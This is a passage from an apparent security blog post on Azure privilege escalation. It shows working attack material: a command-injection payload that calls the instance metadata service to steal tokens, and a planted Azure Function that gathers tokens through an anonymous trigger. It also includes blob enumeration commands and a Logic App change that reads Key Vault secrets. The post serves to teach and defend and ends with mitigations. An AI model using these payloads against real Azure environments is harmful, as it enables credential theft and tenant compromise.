)&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; metadata = fetch_image_metadata(image_url)&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; return func.HttpResponse(metadata, status_code=200)&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;def fetch_image_metadata(image_url):&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; # Normally, this function would interact with a service or library to retrieve metadata&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; # Example (before malicious modification): return f"Metadata for {image_url}"&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; return "Metadata Placeholder"&lt;/span&gt;&lt;br&gt;&lt;/code&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;The attacker can modify the process_file.py to introduce a command injection vulnerability.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;import os&lt;/span&gt;&lt;/code&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;import subprocess&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;from flask import Flask, request, jsonify&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;app = Flask(__name__)&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;@app.route('/process', methods=['POST'])&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;def process_file():&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; file_path = request.form.get('file_path')&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; if not file_path or not file_path.endswith('.pdf'):&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return jsonify({"error": "Invalid file. Please upload a PDF."}), 400&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; # Vulnerable code: file_path is directly included in the shell command&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; command = f"pdftotext {file_path} -" &amp;nbsp;# Concatenation introduces vulnerability&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; result = subprocess.check_output(command, shell=True)&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;&amp;nbsp; &amp;nbsp; return jsonify({"text": result.decode('utf-8')})&lt;/span&gt;&lt;br&gt;&lt;/code&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;br&gt;&lt;span&gt;They can then access the compromised application and send a POST request to the tampered &lt;code&gt;/process&lt;/code&gt; endpoint, targeting the Azure Instance Metadata Service (IMDS) through remote code execution.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;code&gt;POST /process HTTP/1.1&lt;/code&gt;&lt;br&gt;&lt;code&gt;Host: vulnerableapp.azurewebsites.net&lt;/code&gt;&lt;br&gt;&lt;code&gt;Content-Type: application/x-www-form-urlencoded&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;file_path=/path/to/file.pdf; curl "http://169.254.169.254/metadata/identity/oauth2/token?resource=https://management.azure.com&amp;amp;api-version=2019-08-01" -H "Metadata:true"&lt;/code&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;br&gt;&lt;span&gt;It’s important to note that this technique can also be used for initial access to an Azure environment. For example, an attacker could gain access to an employee’s GitHub credentials and exploit a CI/CD pipeline to enumerate Azure resources. The attacker could then exploit running services to hijack attached managed identities, ultimately gaining a foothold in the environment.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;h2 style="font-size: 24px;"&gt;4. Abusing Storage Accounts&amp;nbsp; &#x1faa3;&lt;/h2&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;If an attacker compromises an identity with role assignments such as &lt;code&gt;Storage Blob Data Owner&lt;/code&gt; or &lt;code&gt;Storage Account Contributor&lt;/code&gt;, they may be able to exfiltrate or destroy sensitive and expand their reach within the environment by compromising additional resources. Blob containers can be misused to store unencrypted sensitive information such as credentials, keys and configuration files, which is against best practices. In the example below, an attacker gains control of an identity that has the &lt;code&gt;Storage Blob Data Reader&lt;/code&gt; role assigned.&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Get-AzRoleAssignment&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;lt;snip&amp;gt;&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;Scope &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;: /subscriptions/0000000-0000-0000-0000-00000000/resourceGroups/topsecret/providers/Microsoft.Storage/storageAccounts/corporate-secrets&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;DisplayName &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;:&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;SignInName &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; :&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;RoleDefinitionName : Storage Blob Data Reader&lt;/code&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;code&gt;&lt;span style="font-size: 18px;"&gt;&amp;lt;snip&amp;gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;br&gt;The attacker can then start enumerating the Blob Container for sensitive files.&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;code&gt;az storage container list --account-name corporate-secrets --auth-mode login&lt;/code&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;code&gt;az storage blob list --account-name corporate-secrets --container-name&lt;/code&gt;&lt;br&gt;&lt;code&gt;WMD-schematics --auth-mode login&lt;/code&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;&lt;br&gt;Similar to Key Vaults, Storage Accounts offer a soft delete feature for blobs. This feature allows users to recover data that was accidentally deleted or overwritten by retaining deleted blobs and snapshots for a specified retention period. However, this functionality can be exploited by threat actors who search for different versions of files and directories within a Blob container. These older versions might contain sensitive information, as blobs can remain retrievable even after deletion.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;Attackers can easily locate soft-deleted blobs and retrieve their contents.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;code&gt;&lt;span&gt;$storageAccount = Get-AzStorageAccount -ResourceGroupName mbt-rg-11 -Name mbtresearch&lt;br&gt;$storagecontext = $storageAccount.Context&lt;br&gt;Get-AzStorageBlob -Context $storagecontext -Container &amp;lt;CONTAINER_NAME&amp;gt; -IncludeDeleted&lt;/span&gt;&lt;/code&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;&lt;br&gt;&lt;/span&gt;&lt;span&gt;Soft-deleted blobs can be retrieved using REST API calls.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;span&gt;&lt;code&gt;$storagetoken = (Get-AzAccessToken -ResourceUrl Storage).Token&lt;/code&gt;&lt;br&gt;&lt;code&gt;$currentDate = (Get-Date).ToUniversalTime().ToString("R")&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;$headers = @{&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; "Authorization" = "Bearer $storagetoken"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; "x-ms-version" &amp;nbsp;= "2020-10-02"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; "x-ms-date" &amp;nbsp; &amp;nbsp; = $currentDate&lt;/code&gt;&lt;br&gt;&lt;code&gt;}&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;$response = Invoke-RestMethod -Uri "https://STORAGE_ACCOUNT_NAME.blob.core.windows.net/CONTAINER_NAME/BLOB_NAME?comp=undelete" -Method Put -Headers $headers&lt;/code&gt;&lt;br&gt;&lt;code&gt;$response&lt;/code&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;&lt;br&gt;Blob versioning is a feature of Azure Storage Accounts that allows users to maintain and access previous versions of blobs within a storage account. As mentioned, this feature protects against accidental modifications or deletions by preserving the history of changes, enabling users to recover previous blob versions as needed. However, it is not uncommon for unattended files containing sensitive information to be left in previous blob versions, posing a potential security risk.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 20px;"&gt;&lt;code&gt;$storagetoken = (Get-AzAccessToken -ResourceUrl Storage).Token&lt;/code&gt;&lt;br&gt;&lt;code&gt;$currentDate = (Get-Date).ToUniversalTime().ToString("R")&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;$headers = @{&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; "Authorization" = "Bearer $storagetoken"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; "x-ms-version" &amp;nbsp;= "2020-10-02"&lt;/code&gt;&lt;br&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; "x-ms-date" &amp;nbsp; &amp;nbsp; = $currentDate&lt;/code&gt;&lt;br&gt;&lt;code&gt;}&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;$uri = "https://STORAGE_ACCOUNT_NAME.blob.core.windows.net/CONTAINER_NAME?restype=container&amp;amp;comp=list&amp;amp;include=versions"&lt;/code&gt;&lt;br&gt;&lt;br&gt;&lt;code&gt;$response = Invoke-RestMethod -Uri $uri -Method Get -Headers $headers&lt;/code&gt;&lt;br&gt;&lt;code&gt;$response&lt;/code&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;br&gt;&lt;span&gt;Another notable attack vector for abusing Storage Accounts arises when storage blobs are linked to Azure Functions. When a Function App is created, a dedicated Storage Account is also provisioned to support various operations, such as trigger management and logging.&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Dec-10-2024-12-45-48-4961-AM.png?width=1594&amp;amp;height=218&amp;amp;name=image-png-Dec-10-2024-12-45-48-4961-AM.png" width="1594" height="218"&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p style="font-size: 18px;"&gt;&lt;span&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="background-color: transparent; text-align: var(--bs-body-text-align);"&gt;&lt;span&gt;If an attacker compromises the Storage Account associated with an HTTP-triggered Function App, the Function App itself can be fully compromised. The attacker could create a malicious trigger function designed to steal access tokens. An example implementation in Python is shown below:&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;import logging, os&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;import azure.functions as func&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;def main(req: func.HttpRequest) -&amp;gt; func.HttpResponse:&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; IDENTITY_HEADER = os.environ['IDENTITY_HEADER']&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; cmd = 'curl "%s?resource=https://management.azure.com&amp;amp;api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; management_token = os.popen(cmd).read()&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; cmd = 'curl "%s?resource=https://vault.azure.net&amp;amp;api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; vault_token = os.popen(cmd).read()&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; cmd = 'curl "%s?resource=https://graph.microsoft.com&amp;amp;api-version=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; graph_token = os.popen(cmd).read()&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; res = management_token + vault_token + graph_token&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; return func.HttpResponse(res, status_code=200)&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-size: 18px;"&gt;&lt;br&gt;The attacker must also create a &lt;span style="font-weight: normal; color: #ec38bc;"&gt;function configuration&lt;/span&gt; dictating the type of trigger required to execute the injected function. In the example below, both HTTP GET and POST requests can trigger the function. Furthermore, no authentication is required to perform the action, making it also good for persistence and could potentially make it harder to detect.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;{&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; "scriptFile": "__init__.py",&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; "bindings": [&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; {&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; "name": "req",&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; "type": "httpTrigger",&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; "methods": [&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "get",&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "post"&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; ],&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; "direction": "in",&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; "authLevel": "anonymous"&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; },&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; {&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; "name": "$return",&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; "type": "http",&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; "direction": "out"&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; }&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; ]&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;span style="font-size: 20px;"&gt;&lt;code&gt;}&lt;/code&gt;&lt;/span&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px; background-color: transparent; text-align: var(--bs-body-text-align);"&gt;&lt;br&gt;&lt;span&gt;By writing these files to the Storage Account and accessing the appropriate Function App endpoint, the attacker can request access tokens for the Azure Resource Manager (ARM), the Microsoft Graph (MSGraph), the Key Vault service, and any other service associated with the Function App's Managed Identity. These tokens can then be used with the associated service in Azure as that security principal.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&lt;span style="font-size: 18px; background-color: transparent; text-align: var(--bs-body-text-align);"&gt;&lt;br&gt;&lt;span&gt;Additionally, Azure Virtual Machines (VMs) may be configured to use blob storage for custom scripts or diagnostics. If an attacker compromises the Storage Account or gains write access to the Blob container holding these scripts, they could modify them to execute malicious code with &lt;code&gt;NT AUTHORITY\SYSTEM&lt;/code&gt; privileges. This would result in the full compromise of the VM.&lt;/span&gt;&lt;br&gt;&lt;/span&gt;&lt;/p&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;h2 style="font-size: 24px;"&gt;&lt;span&gt;5. Abusing Logic Apps&amp;nbsp; &#x1f916;&lt;/span&gt;&lt;/h2&gt; 
&lt;p&gt;&amp;nbsp;&lt;/p&gt; 
&lt;div&gt; 
 &lt;div&gt; 
  &lt;p style="font-size: 18px;"&gt;&lt;span&gt;Azure Logic Apps, part of Azure's App Services, enable administrators to create and deploy integrations across cloud and on-premises environments. One of its key advantages is its ability to connect to a wide range of services, supporting complex workflows and seamless integration with diverse data sources.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;Logic Apps are frequently targeted by threat actors because credentials can be hardcoded or be visible in the output of the steps. If an attacker compromises an identity that is assigned the Reader role at the scope of a Logic App, they could examine its configuration and potentially uncover sensitive data stored within it, as demonstrated in the example below.&lt;/span&gt;&lt;/p&gt; 
  &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
  &lt;img src="https://s3.amazonaws.com/useast1-images-pwnedlabs.io/uploads/77iw602ogemyzvtigha9jo2b3ejxwuxq.png" width="1337" height="628"&gt; 
  &lt;p style="font-size: 18px;"&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;It is also important to review the available versions of a Logic App, as hardcoded credentials may still exist in earlier versions.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;Additionally, the &lt;code&gt;Run History&lt;/code&gt; tab warrants close monitoring, as it records all previous executions of the Logic App, including any inputs provided and outputs generated.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;If a security principal with the Contributor role for a Logic App is compromised, the attacker's capabilities are significantly expanded. In this scenario, attackers can modify the Logic App workflow, enabling them to add malicious actions that will execute when the specified conditions are triggered. The example below illustrates the trigger condition of a Logic App.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;/p&gt; 
  &lt;div&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span&gt;{&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span&gt;&amp;nbsp; &lt;/span&gt;&lt;span&gt;"type"&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;"Request"&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span&gt;&amp;nbsp; &lt;/span&gt;&lt;span&gt;"kind"&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;"Http"&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span&gt;&amp;nbsp; &lt;/span&gt;&lt;span&gt;"inputs"&lt;/span&gt;&lt;span&gt;: {&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span&gt;&amp;nbsp; &amp;nbsp; &lt;/span&gt;&lt;span&gt;"method"&lt;/span&gt;&lt;span&gt;: &lt;/span&gt;&lt;span&gt;"GET"&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span&gt;&amp;nbsp; }&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
   &lt;div style="font-size: 20px;"&gt;
    &lt;code&gt;&lt;span&gt;}&lt;/span&gt;&lt;/code&gt;
   &lt;/div&gt; 
   &lt;div&gt;
    &amp;nbsp;
   &lt;/div&gt; 
   &lt;div&gt;
    &amp;nbsp;
   &lt;/div&gt; 
   &lt;div style="font-size: 18px;"&gt;
    &lt;span&gt;&lt;/span&gt;
    &lt;span&gt;If the Logic App has access to a Key Vault secret, attackers could modify the workflow to retrieve it.&lt;/span&gt;
   &lt;/div&gt; 
   &lt;div&gt;
    &lt;span&gt;&amp;nbsp;&lt;/span&gt;
   &lt;/div&gt; 
   &lt;div&gt;
    &lt;span&gt;&amp;nbsp;&lt;/span&gt;
   &lt;/div&gt; 
   &lt;div&gt;
    &lt;span&gt;&lt;img src="https://blog.pwnedlabs.io/hs-fs/hubfs/image-png-Dec-10-2024-12-44-43-5726-AM.png?width=1594&amp;amp;height=902&amp;amp;name=image-png-Dec-10-2024-12-44-43-5726-AM.png" width="1594" height="902"&gt;&lt;/span&gt;
   &lt;/div&gt; 
   &lt;div&gt;
    &lt;span&gt;&amp;nbsp;&lt;/span&gt;
   &lt;/div&gt; 
   &lt;div&gt; 
    &lt;div&gt;
     &lt;span&gt;&amp;nbsp;&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div&gt;
     &lt;code&gt;&lt;span&gt;&lt;span style="font-size: 20px;"&gt;{&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;
    &lt;/div&gt; 
    &lt;div&gt;
     &lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; "type": "ApiConnection",&lt;/code&gt;&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div&gt;
     &lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; "inputs": {&lt;/code&gt;&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div&gt;
     &lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; "host": {&lt;/code&gt;&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div&gt;
     &lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; "connection": {&lt;/code&gt;&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div&gt;
     &lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; "referenceName": "keyvault"&lt;/code&gt;&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div&gt;
     &lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/code&gt;&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div&gt;
     &lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; },&lt;/code&gt;&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div&gt;
     &lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; "method": "get",&lt;/code&gt;&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div&gt;
     &lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; &amp;nbsp; "path": "/secrets/@{encodeURIComponent('topsecretcreds')}/value"&lt;/code&gt;&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div&gt;
     &lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; },&lt;/code&gt;&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div&gt;
     &lt;span style="font-size: 20px;"&gt;&lt;code&gt;&amp;nbsp; "runAfter": {}&lt;/code&gt;&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div&gt;
     &lt;span style="font-size: 20px;"&gt;&lt;code&gt;}&lt;/code&gt;&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div&gt;
     &amp;nbsp;
    &lt;/div&gt; 
    &lt;div&gt;
     &amp;nbsp;
    &lt;/div&gt; 
    &lt;div style="font-size: 18px;"&gt;
     &lt;span&gt;Once attackers gain the ability to edit a Logic App workflow, they can carry out various attacks. The scope of these attacks is limited only by the resources the Logic App can access, such as Blob Containers, Key Vaults, and Databases.&lt;/span&gt;
    &lt;/div&gt; 
    &lt;div&gt;
     &amp;nbsp;
    &lt;/div&gt; 
    &lt;div&gt;
     &amp;nbsp;
    &lt;/div&gt; 
    &lt;div&gt; 
     &lt;h2 style="font-size: 32px; font-weight: bold; margin: .67em 0;"&gt;&lt;span&gt;Mitigation Tactics&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;⚡️&lt;/h2&gt; 
     &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
     &lt;p style="font-size: 18px;"&gt;&lt;span&gt;Defending against Azure privilege escalation and lateral movement is a complex security challenge that requires a combination of defense-in-depth strategies and the principle of least privilege by assigning roles with only the minimum required permissions. Periodically reviewing and auditing role assignments—especially for high-privilege roles like Owner and Contributor—but also specific permission grants in custom roles, is crucial. Implementing least privilege through &lt;a href="https://learn.microsoft.com/en-us/azure/defender-for-cloud/just-in-time-access-overview?tabs=defender-for-container-arch-aks"&gt;Just-In-Time (JIT) access&lt;/a&gt; can also help to minimize exposure and stay ahead of threat actors.&lt;/span&gt;&lt;br&gt;&lt;br&gt;&lt;span&gt;Additionally, enforcing proper Conditional Access Policies and requiring multi-factor authentication (MFA) is essential to prevent User Principals with access to sensitive resources, such as Key Vaults, from being compromised. Lastly, monitoring logs for unusual access patterns and configuring alerts for role assignments or changes can greatly help defenders detect attacks early and limit the organization's exposure to threats.&lt;/span&gt;&lt;/p&gt; 
     &lt;p&gt;&amp;nbsp;&lt;/p&gt; 
